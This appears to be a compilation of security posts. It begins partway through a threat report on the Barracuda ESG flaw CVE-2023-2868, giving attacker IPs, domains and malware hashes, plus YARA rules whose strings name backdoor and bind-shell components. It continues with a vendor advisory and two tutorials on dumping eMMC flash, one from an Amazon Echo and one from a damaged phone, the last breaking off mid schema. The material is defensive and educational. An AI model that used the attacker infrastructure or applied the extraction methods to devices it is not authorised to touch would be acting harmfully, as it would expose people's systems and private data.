6install_helo.tar2ccb9759800154de817bf779a52d48f8TAR Package
7intent_helof5ab04a920302931a8bd063f27b745ccBash script
8pd177add288b289d43236d2dba33e65956Reverse Shell
9update_v31.sh881b7846f8384c12c7481b23011d8e45Bash script
10mod_require_helo.luacd2813f0260d63ad5adf0446253c2172SEASIDE
11BarracudaMailService82eaf69de710abdc5dea7cd5cb56cf04SEASPY
12BarracudaMailServicee80a85250263d58cc1a1dc39d6cf3942SEASPY
13BarracudaMailService5d6cba7909980a7b424b133fbac634acSEASPY
14BarracudaMailService1bbb32610599d70397adfdaf56109ff3SEASPY
15BarracudaMailService4b511567cfa8dbaa32e11baf3268f074SEASPY
16BarracudaMailServicea08a99e5224e1baf569fda816c991045SEASPY
17BarracudaMailService19ebfe05040a8508467f9415c8378f32SEASPY
18mod_udp.so1fea55b7c9d13d822a64b2370d015da7SALTWATER Variant
19mod_udp.so64c690f175a2d2fe38d3d7c0d0ddbb6eSALTWATER Variant
20mod_udp.so4cd0f3219e98ac2e9021b06af70ed643SALTWATER Variant

Table 4: Endpoint IOCs

Network IOCs

Table 5 lists the network IOCs, including IP addresses and domain names, attributed to attacker activity during the investigation.

   IndicatorASNLocation
1xxl17z.dnslog.cnN/AN/A
2mx01.bestfindthetruth.comN/AN/A
364.176.7.59AS-CHOOPAUS
464.176.4.234AS-CHOOPAUS
552.23.241.105AMAZON-AESUS
623.224.42.5CloudRadium L.L.CUS
7192.74.254.229PEG TECH INCUS
8192.74.226.142PEG TECH INCUS
9155.94.160.72QuadraNet Enterprises LLCUS
10139.84.227.9AS-CHOOPAUS
11137.175.60.253PEG TECH INCUS
12137.175.53.170PEG TECH INCUS
13137.175.51.147PEG TECH INCUS
14137.175.30.36PEG TECH INCUS
15137.175.28.251PEG TECH INCUS
16137.175.19.25PEG TECH INCUS
17107.148.219.227PEG TECH INCUS
18107.148.219.55PEG TECH INCUS
19107.148.219.54PEG TECH INCUS
20107.148.219.53PEG TECH INCUS
21107.148.219.227PEG TECH INCUS
22107.148.149.156PEG TECH INCUS
23104.223.20.222QuadraNet Enterprises LLCUS
24103.93.78.142EDGENAP LTDJP
25103.27.108.62TOPWAY GLOBAL LIMITEDHK

Table 5: Network IOCs

YARA Rules

CVE-2023-2868

The following three (3) YARA rules can be used to hunt for the malicious TAR file which exploits CVE-2023-2868:

rule M_Hunting_Exploit_Archive_2
 {
     meta:
         description = "Looks for TAR archive with /tmp/ base64 encoded being part of filename of enclosed files"
         date_created = "2023-05-26"
         date_modified = "2023-05-26"
         md5 = "0d67f50a0bf7a3a017784146ac41ada0"
         version = "1.0"
     strings:
         $ustar = { 75 73 74 61 72 }
         $b64_tmp = "/tmp/" base64
     condition:
         filesize < 1MB and

         $ustar at 257 and

         for any i in (0 .. #ustar) : (

             $b64_tmp in (i * 512 .. i * 512 + 250)

         )
 }

rule M_Hunting_Exploit_Archive_3
 {
     meta:
         description = "Looks for TAR archive with openssl base64 encoded being part of filename of enclosed files"
         date_created = "2023-05-26"
         date_modified = "2023-05-26"
         md5 = "0d67f50a0bf7a3a017784146ac41ada0"
         version = "1.0"
     strings:
         $ustar = { 75 73 74 61 72 }
         $b64_openssl = "openssl" base64
     condition:

         filesize < 1MB and
         $ustar at 257 and

         for any i in (0 .. #ustar) : (

             $b64_openssl in (i * 512 .. i * 512 + 250)

         )
 }

rule M_Hunting_Exploit_Archive_CVE_2023_2868
 {
     meta:
         description = "Looks for TAR archive with single quote/backtick as start of filename of enclosed files. CVE-2023-2868"
         date_created = "2023-05-26"
         date_modified = "2023-05-26"
         md5 = "0d67f50a0bf7a3a017784146ac41ada0"
         version = "1.0"
     strings:
         $ustar = { 75 73 74 61 72 }
         $qb = "'`"
     condition:

         filesize < 1MB and
         $ustar at 257 and

         for any i in (0 .. #ustar) : (

             $qb at (@ustar[i] + 255)

         )
 }

SALTWATER

The following three (3) YARA rule can be used to hunt for SALTWATER:

rule M_Hunting_Linux_Funchook
 {
     strings:
         $f = "funchook_"
         $s1 = "Enter funchook_create()"
         $s2 = "Leave funchook_create() => %p"
         $s3 = "Enter funchook_prepare(%p, %p, %p)"
         $s4 = "Leave funchook_prepare(..., [%p->%p],...) => %d"
         $s5 = "Enter funchook_install(%p, 0x%x)"
         $s6 = "Leave funchook_install() => %d"
         $s7 = "Enter funchook_uninstall(%p, 0x%x)"
         $s8 = "Leave funchook_uninstall() => %d"
         $s9 = "Enter funchook_destroy(%p)"
         $s10 = "Leave funchook_destroy() => %d"
         $s11 = "Could not modify already-installed funchook handle."
         $s12 = "  change %s address from %p to %p"
         $s13 = "  link_map addr=%p, name=%s"
         $s14 = "  ELF type is neither ET_EXEC nor ET_DYN."
         $s15 = "  not a valid ELF module %s."
         $s16 = "Failed to protect memory %p (size=%"
         $s17 = "  protect memory %p (size=%"
         $s18 = "Failed to unprotect memory %p (size=%"
         $s19 = "  unprotect memory %p (size=%"
         $s20 = "Failed to unprotect page %p (size=%"
         $s21 = "  unprotect page %p (size=%"
         $s22 = "Failed to protect page %p (size=%"
         $s23 = "  protect page %p (size=%"
         $s24 = "Failed to deallocate page %p (size=%"
         $s25 = " deallocate page %p (size=%"
         $s26 = "  allocate page %p (size=%"
         $s27 = "  try to allocate %p but %p (size=%"
         $s28 = "  allocate page %p (size=%"
         $s29 = "Could not find a free region near %p"
         $s30 = "  -- Use address %p or %p for function %p"
     condition:
         filesize < 15MB and uint32(0) == 0x464c457f and (#f > 5 or 4 of ($s*))
 }

rule M_Hunting_Linux_SALTWATER_1
 {
     strings:
         $s1 = { 71 75 69 74 0D 0A 00 00 00 33 8C 25 3D 9C 17 70 08 F9 0C 1A 41 71 55 36 1A 5C 4B 8D 29 7E 0D 78 }
         $s2 = { 00 8B D5 AD 93 B7 54 D5 00 33 8C 25 3D 9C 17 70 08 F9 0C 1A 41 71 55 36 1A 5C 4B 8D 29 7E 0D 78 }
     condition:
         filesize < 15MB and uint32(0) == 0x464c457f and any of them
 }

rule M_Hunting_Linux_SALTWATER_2
 {
     strings:
         $c1 = "TunnelArgs"
         $c2 = "DownloadChannel"
         $c3 = "UploadChannel"
         $c4 = "ProxyChannel"
         $c5 = "ShellChannel"
         $c6 = "MyWriteAll"
         $c7 = "MyReadAll"
         $c8 = "Connected2Vps"
         $c9 = "CheckRemoteIp"
         $c10 = "GetFileSize"
         $s1 = "[-] error: popen failed"
         $s2 = "/home/product/code/config/ssl_engine_cert.pem"
         $s3 = "libbindshell.so"
     condition:
         filesize < 15MB and uint32(0) == 0x464c457f and (2 of ($s*) or 4 of ($c*))
 }

MAY 23rd, 2023:

Barracuda identified a vulnerability (CVE-2023-2868) in our Email Security Gateway appliance (ESG) on May 19, 2023. A security patch to eliminate the vulnerability was applied to all ESG appliances worldwide on Saturday, May 20, 2023. The vulnerability existed in a module which initially screens the attachments of incoming emails. No other Barracuda products, including our SaaS email security services, were subject to this vulnerability.

We took immediate steps to investigate this vulnerability. Based on our investigation to date, we’ve identified that the vulnerability resulted in unauthorized access to a subset of email gateway appliances. As part of our containment strategy, all ESG appliances have received a second patch on May 21, 2023. Users whose appliances we believe were impacted have been notified via the ESG user interface of actions to take. Barracuda has also reached out to these specific customers.

We will continue actively monitoring this situation, and we will be transparent in sharing details on what actions we are taking. Information gathering is ongoing as part of the investigation. We want to ensure we only share validated information with actionable steps for you to take. As we have information to share, we will provide updates via this product status page (https://status.barracuda.com) and direct outreach to impacted customers. Updates are also located on Barracuda’s Trust Center (https://www.barracuda.com/company/legal).

Barracuda’s investigation was limited to the ESG product, and not the customer’s specific environment. Therefore, impacted customers should review their environments and determine any additional actions they want to take.

Your trust is important to us. We thank you for your understanding and support as we work through this issue and sincerely apologize for any inconvenience it may cause. If you have any questions, please reach out to support@barracuda.com.

HARDWARE HACKING 101: IDENTIFYING AND DUMPING EMMC FLASH

HARDWARE HACKING 101: IDENTIFYING AND DUMPING EMMC FLASH

Original text by KAREEM ELFARAMAW

Introduction

Welcome back to our introduction to hardware hacking series! In this post we will be covering embedded MultiMediaCard (eMMC) flash chips and the standard protocol they use. eMMC is a form of managed flash storage typically used in phones, tablets, and many IoT devices because of its low power consumption and high performance. If you haven’t already, make sure to check out our other intro to hardware hacking posts on our blog.

We’ll also be tearing down an Amazon Echo to show how to use logic traces to identify a pinout for an eMMC chip. Lastly, we’ll walk through options for dumping the contents of the chip while it’s still on the board, as well as when it’s lifted off.

MMC & eMMC Background

MultiMediaCard (MMC) is a form of solid-state storage originally created for use with portable devices, such as cameras. It features a low pin count, along with a simple parallel interface for communicating with it. This standard was later improved upon as the Secure Digital (SD) standard, which had much better performance while keeping the same simple interface. Often you’ll see that SD cards contain two primary components: a NAND flash chip, and a flash controller. NAND flash is a type of flash memory used in many embedded devices, typically seen in TSOP-48 or BGA-63 packages. Other types of flash memory include NOR flash and Vertical NAND flash. The NAND flash is the non-volatile storage where all of the data on the SD card is stored, while the flash controller provides an interface to the NAND flash in the form of the data pins on the SD card.

Internals of an SD card. Source: Engineers Garage

To read and write to the NAND chip, the host only needs to communicate with the flash controller, which will internally manage all interactions with the NAND chip. With this setup, the controller can contain algorithms to handle many of the complexities of using NAND flash without the host needing to do any additional work. Some of these include:

  • Error correction code (ECC) handling
  • Wear leveling
  • NAND whitening

As the name implies, eMMC combines all of the components used for MMC into a single die and places it into a package that can be used in embedded devices, typically into a single ball grid array (BGA) chip. These chips will expose the same interface seen in MMC/SD cards, so a host will be able to follow the same protocol for communicating with them.

Some manufacturers opt to create a configuration that is essentially an SD card built into a larger board, consisting of a separate NAND flash chip and SD controller. As shown in the above diagrams, the interface for this setup is the same as a single eMMC chip, so everything detailed in this post will apply to these as well.

eMMC Bus Signals

The eMMC protocol is capable of operating in 1-bit, 4-bit, or 8-bit parallel I/O depending on the number of data lines being used. A command signal is used for initializing the eMMC chip and sending read/write commands. A single clock signal is used to synchronize all command and data lines, where they can be sampled on either the rising edge only, or both rising and falling edges for faster performance. These signals and additional pins are detailed in the table below:

eMMC Pinout Table

PinDescription
CLKClock line used to synchronize CMD and all DAT lines
CMDBidirectional line used for sending commands and responses to/from the chip. This is used during initialization to determine the number of data lines that should be enabled, the desired clock speed, and any other operating conditions.
DAT0Bidirectional data line, used in 1-bit, 4-bit, 8-bit modes
DAT1Bidirectional data line, used in 4-bit, 8-bit modes
DAT2Bidirectional data line, used in 4-bit, 8-bit modes
DAT3Bidirectional data line, used in 4-bit, 8-bit modes
DAT4Bidirectional data line, used in 8-bit mode
DAT5Bidirectional data line, used in 8-bit mode
DAT6Bidirectional data line, used in 8-bit mode
DAT7Bidirectional data line, used in 8-bit mode
VCCInput voltage for flash storage, usually +3.3V
VCCQInput voltage for flash controller, usually +1.8V or +3.3V
VSS / VSSQGND for flash storage and flash controller

Command Structure

The commands sent on the CMD line follow a fairly simple structure, and knowing how these look will help in identifying CMD in a logic trace. Commands are encoded in the following 48-bit structure:


Name
Length (Bits)Description
Start bit1Start of a command, always ‘0’
Transmission bit1Indicates the direction of the command. 
1: Host->Card 
0: Card->Host
Command index6Value between 0-63 indicating the command type
Command argument32Value to be used by the command, e.g. an address
CRC7Checksum to validate the data was read correctly
End bit1End of a command, always ‘1’

Hands On

Now let’s take a look at a first generation Amazon Echo to show how to identify a pinout for an eMMC chip. Knowing this pinout, it may be possible to dump the contents of the chip without removing it from the PCB. However, in cases where that doesn’t work, we’ll cover a simple alternative once the chip is already lifted.

Here’s the device we’ll be working with:

Materials

The following materials are needed to follow along with this tutorial. You can pick these or other products that serve the same purpose. Links are included for your convenience (but note that we don’t endorse any of these vendors or products):

Needed to Follow Along
Needed for dumping lifted chip

Amazon Echo: Disassembly

The first step in taking apart the Amazon Echo starts at the bottom of the device. There’s a rubber cover lightly glued in place. Pulling up from the side is enough to pull it off.

Next, there are 4 T10 screws that need to be removed in order to remove the bottom plate and access the first PCB.

Carefully lift the bottom plate out, and you’ll see speaker plugs and a ribbon cable still attached to the PCB. Pull the speaker plugs out, and disconnect the ribbon cable by lifting the dark brown lever away from the board.

Now the next plate covering the speaker can be lifted out. There are holes in this plate for the speaker cables and ribbon cable to pass through.

Then, the outer casing can be pulled off.

Next, peel off the felt paper wrapped around the device. There are a few glue strips holding it in place, so peeling these off the plastic as you go will allow the felt to come off cleanly.

To remove the main PCB, there are 4 more T10 screws that need to be removed and 2 ribbon cables that need to be disconnected. The top cable (J21) is glued to the plastic with another glue strip. We’ll need this to power the main PCB later, so carefully peel off and remove the ribbon cable.

With the main PCB off, now we can take a look at all the components on it. These have been labeled in the image below:

Amazon Echo: Logic Analyzer Setup

For now we only want to focus on the eMMC chip, which on this unit is a KIOXIA THGBMBG5D1KBAIT 4GB eMMC. Lucky for us, this board has as a number of test points on the other side of the board, directly opposite the eMMC chip.

The plan is to attach jumper wires to all of these pads and capture traces on the logic analyzer. From these, we should be able to identify a few of the main pins necessary to read an eMMC chip. The bare minimum we need is 3 pins to operate in 1-bit mode: CMD, CLK, and DAT0, along with a way to power the chip.

For this, I made some jumper wires with 30awg wire. Having a thin gauge wire like this is always very useful when soldering to any small components or pads like the ones on this board. Solder them all to the pads so we can take logic analyzer captures.

We also need a ground reference for the logic analyzer. On the same side of the board, the copper pad at P2 can be used for this. You can confirm this is ground by checking continuity between this and the shielding pads on the other side (the “dashed lines” of pads surrounding the chips).

To power the board, we need the ribbon cable and bottom plate of the echo we removed earlier. We can connect all of these together and plug in the power supply, and that will power the main PCB so we can capture traces. Here’s what the setup should look like:

You’ll need more than one capture to account for all the pads being tested here. In each case, start a capture and power on the device, and you should see traces similar to the images below:

Capture 1

Capture 2

NOTE: Pin 1 is not connected

Trace Breakdown: Identifying Pins

It turns out that the first capture here has all the pins that we’re interested in. The first, and most obvious, is the CLK pin. This is Channel 1 in the example trace above, easy to identify by its fixed rate oscillation.

Next, we can try to identify CMD. This will be a line that’s active along with the CLK, and follows the structure covered above. We can use the Logic software to help identify this by adding an analyzer for parallel I/O. This is the “Simple Parallel” option:

In the next menu, set the clock to the channel we already identified as CLK (Channel 1), and set D0 to a channel we want to analyze further. In this case, let’s look at ‘Channel 0’. Set all the other channels to ‘None’ (Tab + N is your friend here) and click ‘Save’.

Now if you zoom in at a point where both channels are showing activity, the analyzer we just added will show the parsed binary values found by sampling all the rising edges on the clock. Here is an example Host->Card command:

Followed immediately by a Card->Host response:

You can match both of these commands up with the structure we covered before.

  1. In the first image, we see a start bit, 0, followed by 1 to indicate this is a Host->Card command, and the last bit is a 1.
  2. The second image starts with 0, 0, indicating this is a Card->Host response, and once again ends in a 1.

We can see many commands following this same structure throughout the capture, so we can be fairly confident this is the CMD line.

Finally, we want to identify the DAT0 line. When initializing an eMMC chip, DAT0 is the only active data line since every host is capable of 1-bit communication. During the initialization phase the host and card will agree on the total number of data lines to be used, but by default it is always only 1. So, all we need to do is go to the beginning of the capture and see which data line shows activity first after CLK and CMD start up.

Here we can clearly see that after the first series of commands are sent, Channel 7 is the first to respond, so this likely DAT0.

Now looking back at the board, you should have identified the following pinout:

“Alexa, give me a flash dump”

Depending on the device you’re working with, it may be possible at this point to dump the eMMC flash just by connecting to the pins that have been identified. Since this is the same MMC protocol used by SD cards, there are various adapters that can be used to connect to these pins and read them with any SD card reader. There are some pre-made examples, such as this Sparkfun SD Sniffer, where you can solder headers to the board and connect the pins to them directly.

There’s also a similar microSD version made by exploitee.rs that only uses one data pin:

If you don’t have any of these but have a microSD to SD adapter, you can even turn that into a reader by breaking out all the pins inside:

Attempting to dump the chip while on the board may run into a few common issues. When powering on the board normally, the CPU is going to initialize and access the eMMC chip. Attempting to read the chip on another computer while this is happening will likely result in failing to detect it at all. One option around this is to try preventing the CPU from going through it’s normal boot process. For example, if you’re working on a device where the CPU uses a bootloader on a separate SPI flash, you can manually deselect the SPI by pulling its CS pin high or low (depending on the chip). This leaves the eMMC powered on but untouched by the CPU.

Another option is to try powering the eMMC chip externally when you try reading it. However, attempting to do this could result in other devices getting powered, such as the CPU, which results in the same issues as before. In the case of this test device, I wasn’t able to get it reading while still on the board, so now we’ll look into how to dump it by lifting it off the board.

Lifting & Reading the Chip

The first step is of course to lift the eMMC chip off the board. The easiest way to do this is using either a hot air station, or an infrared rework station. Here’s a simple tutorial on how to do this with hot air.

Once lifted, clean off all the remaining solder on the chip using solder wick. The chip should now look like this:

One of the easiest ways to read the chip is using an adapter, such as those from AllSocket. Most eMMC chips have a standard location for the pins needed for power and communication, so the socket breaks out these pins to an SD card you can plug it into a reader. To use this, simply place the chip inside the socket, aligning the dot on the chip with the arrow in the socket, and close it.

Then, plug the adapter into your laptop/SD card reader and it should detect and read the eMMC chip.

To check if your computer detected the chip correctly, run 

dmesg
 in your terminal, and look for a snippet similar to this:

dmesg
 Output

[25103.832356] mmc0: new high speed MMC card at address 0001
[25103.833673] mmcblk0: mmc0:0001 004GE0 3.69 GiB
[25103.834188] mmcblk0boot0: mmc0:0001 004GE0 partition 1 2.00 MiB
[25103.834722] mmcblk0boot1: mmc0:0001 004GE0 partition 2 2.00 MiB
[25103.836965]  mmcblk0: p1 p2 p3 p4 p5 p6 p7 p8
[25104.636138] EXT4-fs (mmcblk0p4): mounting ext3 file system using the ext4 subsystem
[25104.637872] EXT4-fs (mmcblk0p4): warning: maximal mount count reached, running e2fsck is recommended
[25104.638357] EXT4-fs (mmcblk0p4): mounted filesystem with ordered data mode. Opts: (null)
[25104.901046] EXT4-fs (mmcblk0p7): mounting ext3 file system using the ext4 subsystem
[25104.910998] EXT4-fs (mmcblk0p7): mounted filesystem with ordered data mode. Opts: (null)
[25105.165884] EXT4-fs (mmcblk0p5): mounting ext3 file system using the ext4 subsystem
[25105.171570] EXT4-fs (mmcblk0p5): mounted filesystem with ordered data mode. Opts: (null)
[25105.411127] EXT4-fs (mmcblk0p6): mounting ext3 file system using the ext4 subsystem
[25105.420283] EXT4-fs (mmcblk0p6): mounted filesystem with ordered data mode. Opts: (null)
[25105.667704] EXT4-fs (mmcblk0p8): mounting ext3 file system using the ext4 subsystem
[25105.677490] EXT4-fs (mmcblk0p8): mounted filesystem with ordered data mode. Opts: (null)

Mounted Partitions


$ lsblk
NAME          MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT
mmcblk0       179:0    0   3.7G  0 disk
├─mmcblk0p1   179:1    0   896K  0 part
├─mmcblk0p2   179:2    0    16M  0 part  /mnt/mmcblk0p2-mmc-004GE0_0xf01af56
├─mmcblk0p3   179:3    0    16M  0 part  /mnt/mmcblk0p3-mmc-004GE0_0xf01af56
├─mmcblk0p4   179:4    0    16M  0 part  /mnt/mmcblk0p4-mmc-004GE0_0xf01af56
├─mmcblk0p5   179:5    0   128M  0 part  /mnt/mmcblk0p5-mmc-004GE0_0xf01af56
├─mmcblk0p6   179:6    0     1G  0 part  /mnt/mmcblk0p6-mmc-004GE0_0xf01af56
├─mmcblk0p7   179:7    0     1G  0 part  /mnt/mmcblk0p7-mmc-004GE0_0xf01af56
└─mmcblk0p8   179:8    0   1.5G  0 part  /mnt/data
mmcblk0boot0  179:256  0     2M  1 disk
mmcblk0boot1  179:512  0     2M  1 disk

It’s that easy! Now we can save a full image of the chip and extract all the partitions from there:

$ sudo dd if=/dev/mmcblk0 of=mmcblk0 status=progress bs=16M
3959422976 bytes (4.0 GB, 3.7 GiB) copied, 165 s, 24.1 MB/s
236+0 records in
236+0 records out
3959422976 bytes (4.0 GB, 3.7 GiB) copied, 164.523 s, 24.1 MB/s

$ 7z x mmcblk0
Scanning the drive for archives:
1 file, 3959422976 bytes (3776 MiB)

Extracting archive: mmcblk0
--
Path = mmcblk0
Type = GPT
Physical Size = 3959422976
ID = F9F21FFF-A8D4-5F0E-9746-594869AEC34E

Everything is Ok

Files: 8
Size:       3959274496
Compressed: 3959422976

$ ls -lh
total 7.4G
-rw-r--r-- 1 user  user   16M Mar  3 18:17 boot.img
-rw-r--r-- 1 user  user  1.6G Mar  3 18:17 data.img
-rw-r--r-- 1 user  user  128M Mar  3 18:17 diags.img
-rw-r--r-- 1 user  user   16M Mar  3 18:17 idme.img
-rw-r--r-- 1 user  user  1.0G Mar  3 18:17 main-A.img
-rw-r--r-- 1 user  user  1.0G Mar  3 18:17 main-B.img
-rw-r--r-- 1 root  root  3.7G Mar  3 18:17 mmcblk0
-rw-r--r-- 1 user  user   16M Mar  3 18:17 recovery.img
-rw-r--r-- 1 user  user  896K Mar  3 18:17 xloader.img

Most of these are regular filesystems that can be mounted, so let’s mount them all so we can see what they contain:

$ for i in *.img; do
NAME=$(basename "$i" .img)
mkdir "$NAME"
sudo mount "$i" "$NAME"
done

ust like that, we now have full dump of the Echo’s firmware!

Conclusion

These are all the basics of how to look for eMMC signals on a board, and how to go about reading these chips. The example device used here conveniently had pads for all of the eMMC pins, but this isn’t always the case. Using what you’ve learned here, you can try capturing traces at any components, such as resistors near an eMMC chip to find an alternate pinout.

With the Echo’s firmware dumped, we can start analyzing all the services running on the device searching for vulnerabilities, as well as look into the data stored on the device.

For more details about eMMC, the full standard can be found on JEDEC’s website.

In our next post in the Hardware Hacking 101 series, we’ll be covering ISP. Keep an eye out for it, and contact us at any time with questions or to discuss how we can help with your product security needs!

UPDATE: Thanks to @m33x, we’ve been made aware of Clinton, Cook, et al’s paper which mentions an “eMMC Root” as a possible method in Section IV.A, although that work doesn’t apply or test the method. Also, he mentions Alexa, Are you Listening? which is using debug pads to mount/boot from an external SD card, which is different than what this article shows.

EMMC DATA RECOVERY FROM DAMAGED SMARTPHONE

EMMC DATA RECOVERY FROM DAMAGED SMARTPHONE

Original text by ANDREW

Recently I have received a request to check data recovery possibilities from a damaged Sony Xperia Z5 Premium smartphone. The phone was dropped and it stopped working. No screen, no charging, no communication on any interfaces, no sign of life, it was nothing more than a brick. Well, a brick, with tons of useful data on it without any cloud synchronisation or offline backup. Needless to say how important was for the owner to get his priceless information back from the device.

Some damage identification and recovery probes were already conducted by other professional parties, even a new screen was ordered and tried, but none of the activities provided any promising result. After the failed attempts the owner almost gave up the hope, but fortunately, we had a common acquaintance and this is how I came to the picture.  Due to the previous investigations the phone arrived to me partially dismantled, without a battery and with some metal shields already removed.

As the very first step, I tried to find the data storage. It was quite obvious to identify the memory chip on the PCB, which was a SK hynix H26M64103EMR. This is a simple, 32GB eMMC in a common FBGA package. I had a couple of eMMC related projects in the past, where I had to deal with chip interfacing and direct memory dumping or manipulation. This is often a task in hardware hacking projects I am involved in, for example to gain full access to the OS file system in case of a car head unit or other embedded systems, just to mention another example.

This was the first promising moment to get the owner’s data back. As all of the non-invasive activities failed, I decided to go after the so called “chip-off analysis” technique. This means that the given memory chip has to be removed from the PCB and with the chosen interfacing method its content should be read out directly for further processing.

An important point for this method is that the used encryption settings could be the key  for the success, or for the failure. An enabled or enforced encryption could prevent a successful data recovery, even if the memory chip is not dead and its content could be dumped out. If encryption is in place, the decryption also has to be solved somehow, which is nowadays, with more and more careful design and with properly chosen hardware components, is very challenging or could be (nearly) impossible. Fortunately, at least from data recovery perspective, the owner did not turn on the encryption, so circumstances were given to the next step.

After the PCB was removed from the body, I fixed the board to a metal working surface with kapton tape. Then a little flux was injected around the chip for better heat dispersion and I used a hot air station to reflow the BGA balls and to let me pull of the chip from the PCB.

There are multiple ways to communicate with the eMMC chips. Most of them take advantage of the fact, that these chips are basically MMC (MultiMediaCard) standard memories, but in an embedded (this from where the “e” comes from) format. This means, that as soon as the connection to the necessary chip pins are solved, a simple USB card reader could do the job to read and write the memory. These chips usually support multiple communication modes, using e.g. 8 bit or 4 bit parallel interface or a single 1 bit interface. For an easy setup and without special tools usually the 1 bit mode is used. The only criteria for this method is that the reader also has to support 1 bit mode (Transcend USB card readers seems to be good candidates for this job). In such case only CMD, CLK, DAT0, VCC (VCC, VCCQ) and GND (VSS, VSSQ) pins have to be connected. Do not be afraid of the lot of pins, in fact, only a couple of ones are used. The pinout is generic and based on JEDEC standard, so regardless of the vendor or the chip you are dealing with, it is almost sure that you will find the important pins at well known location, as it is showed in the picture below.

I made these connections in the past by manually soldering 0.1mm insulated copper wires to the given BGA balls then wire them directly to the reader. If you have stable hand and good enough soldering skills then it is absolutely not impossible. There are cases when you have to deal with logic level shifting and multiple voltages (different voltage for memory and Flash I/O /this is the VCC/ and for the memory controller core and MMC I/O /which is the VCCQ/), so always be careful and read the datasheet or measure the given voltage levels first. This time, I had a better toolset available, so I used a SD-EMMC plus adapter connected to an E-Mate Pro eMMC Tool. Using this combination it was possible to simply put the removed eMMC chip to the BGA socket without any custom wiring and to communicate with it with a simple USB card reader.

As I attached the tool to my linux machine it recognised the device as an USB mass storage and it was ready to use.


&#91; 700.932552] usb 1-2: new high-speed USB device number 5 using xhci_hcd
&#91; 701.066678] usb 1-2: New USB device found, idVendor=8564, idProduct=4000
&#91; 701.066693] usb 1-2: New USB device strings: Mfr=3, Product=4, SerialNumber=5
&#91; 701.066702] usb 1-2: Product: Transcend
&#91; 701.066709] usb 1-2: Manufacturer: TS-RDF5
&#91; 701.066716] usb 1-2: SerialNumber: 000000000036
&#91; 701.129205] usb-storage 1-2:1.0: USB Mass Storage device detected
&#91; 701.130866] scsi host0: usb-storage 1-2:1.0
&#91; 701.132385] usbcore: registered new interface driver usb-storage
&#91; 701.137673] usbcore: registered new interface driver uas
&#91; 702.132411] scsi 0:0:0:0: Direct-Access TS-RDF5 SD Transcend TS3A PQ: 0 ANSI: 6
&#91; 702.135476] sd 0:0:0:0: Attached scsi generic sg0 type 0
&#91; 702.144406] sd 0:0:0:0: &#91;sda] Attached SCSI removable disk
&#91; 723.787452] sd 0:0:0:0: &#91;sda] 61079552 512-byte logical blocks: (31.3 GB/29.1 GiB)
&#91; 723.809221] sda: sda1 sda2 sda3 sda4 sda5 sda6 sda7 sda8 sda9 sda10 sda11 sda12 sda13 sda14 sda15 sda16 sda17 sda18 sda19 sda20 sda21 sda22 sda23 sda24 sda25 sda26 sda27 sda28 sda29 sda30 sda31 sda32 sda33 sda34 sda35 sda36 sda37 sda38 sda39 sda40 sda41 sda42 sda43

The device was mapped to “sda” device. As you can see from the “dmesg” extract above, there were a lot of partitions (sda1 – sda43) on the filesystem. Before moving forward, as always in a case like this, the first step was to create a dump from the memory chip, then conduct the next steps on an offline backup. The “dd” tool could be used for this purpose:


$ dd if=/dev/sda of=sony_z5p.img status=progress

With the full dump it was safe to continue the analysis. Using “parted” I checked the partition structure:


Model: (file)
Disk /mnt/hgfs/kali/sony_z5p/sony_z5p.img: 31.3GB
Sector size (logical/physical): 512B/512B
Partition Table: gpt
Disk Flags:

Number Start End Size File system Name Flags
1 131kB 2228kB 2097kB TA
2 4194kB 21.0MB 16.8MB ext4 LTALabel
3 21.0MB 105MB 83.9MB fat16 modem msftdata
4 105MB 105MB 131kB pmic
5 105MB 105MB 131kB alt_pmic
6 105MB 105MB 1024B limits
7 105MB 106MB 1049kB DDR
8 106MB 106MB 262kB apdp
9 106MB 107MB 262kB msadp
10 107MB 107MB 1024B dpo
11 107MB 107MB 524kB hyp
12 107MB 108MB 524kB alt_hyp
13 109MB 111MB 1573kB fsg
14 111MB 111MB 8192B ssd
15 111MB 112MB 1049kB sbl1
16 112MB 113MB 1049kB alt_sbl1
17 113MB 115MB 1573kB modemst1
18 117MB 119MB 1573kB modemst2
19 119MB 119MB 262kB s1sbl
20 119MB 120MB 262kB alt_s1sbl
21 120MB 120MB 131kB sdi
22 120MB 120MB 131kB alt_sdi
23 120MB 121MB 1049kB tz
24 121MB 122MB 1049kB alt_tz
25 122MB 122MB 524kB rpm
26 122MB 123MB 524kB alt_rpm
27 123MB 124MB 1049kB aboot
28 124MB 125MB 1049kB alt_aboot
29 125MB 192MB 67.1MB boot
30 192MB 226MB 33.6MB rdimage
31 226MB 259MB 33.6MB ext4 persist
32 259MB 326MB 67.1MB FOTAKernel
33 326MB 327MB 1049kB misc
34 327MB 328MB 524kB keystore
35 328MB 328MB 1024B devinfo
36 328MB 328MB 524kB config
37 331MB 436MB 105MB rddata
38 436MB 447MB 10.5MB ext4 apps_log
39 449MB 466MB 16.8MB ext4 diag
40 466MB 780MB 315MB ext4 oem
41 780MB 990MB 210MB ext4 cache
42 990MB 25.8GB 24.8GB ext4 userdata
43 25.8GB 31.3GB 5513MB ext4 system

Only one partition, the “userdata” was relevant for the recovery. Using “losetup” it is possible to automatically mount every recognised partition from the image, or only the chosen one by specifying e.g. the proper partition offset in the image.

$ losetup -Prf sony_z5p.img

As soon as the filesystem was mounted the recovery was not a big deal anymore. It is public knowledge where and how Android and common applications store stuffs such as contacts, text messages or pictures. For other applications it is also quite easy to reveal the details by crawling their application folders and by checking their database files.

Based on the owner’s request I focused only on some data:

  • Contacts
    • Format: SQLite database
    • Path: /data/com.android.providers.contacts/databases/contacts2.db
  • Text messages
    • Format: SQLite database
    • Path: /data/com.google.android.gms/databases/icing_mmssms.db
  • Downloaded files
    • Format: simple files
    • Path: /media/0/Download
  • Pictures and videos
    • Format: simple files
    • Path: /media/0/DCIM
  • Viber pictures and videos
    • Format: simple files
    • Path: /media/0/viber/media

With a rooted spare device it could be possible e.g. to replace the database files on the new device to the recovered ones to let the phone parse and show the data for further processing, however standard users will not be able to do this. For me, it was easier to go after the direct recovery, instead of playing with another phone. Picture and multimedia files do not need special care as those just had to be saved without any post processing, but in case of other data stored in SQLite databases the extract should take care about the given database structure and the generated output should be something which could be read by humans or could be processed by other tools.

I found a “dump-contacts2db” script on GitHub which was good to parse the contact database and export the items to a common vCard format. This is something which a user can later import to several applications and sync back to the new phone.

For the text messages I did not find anything useful, so I quickly checked the corresponding data structure in the SQLite database:


CREATE TABLE mmssms(
_id INTEGER NOT NULL,
msg_type TEXT NOT NULL,
uri TEXT NOT NULL,
type INTEGER,
thread_id INTEGER,
address TEXT,
date INTEGER,
subject TEXT,
body TEXT,
score INTEGER,
content_type TEXT,
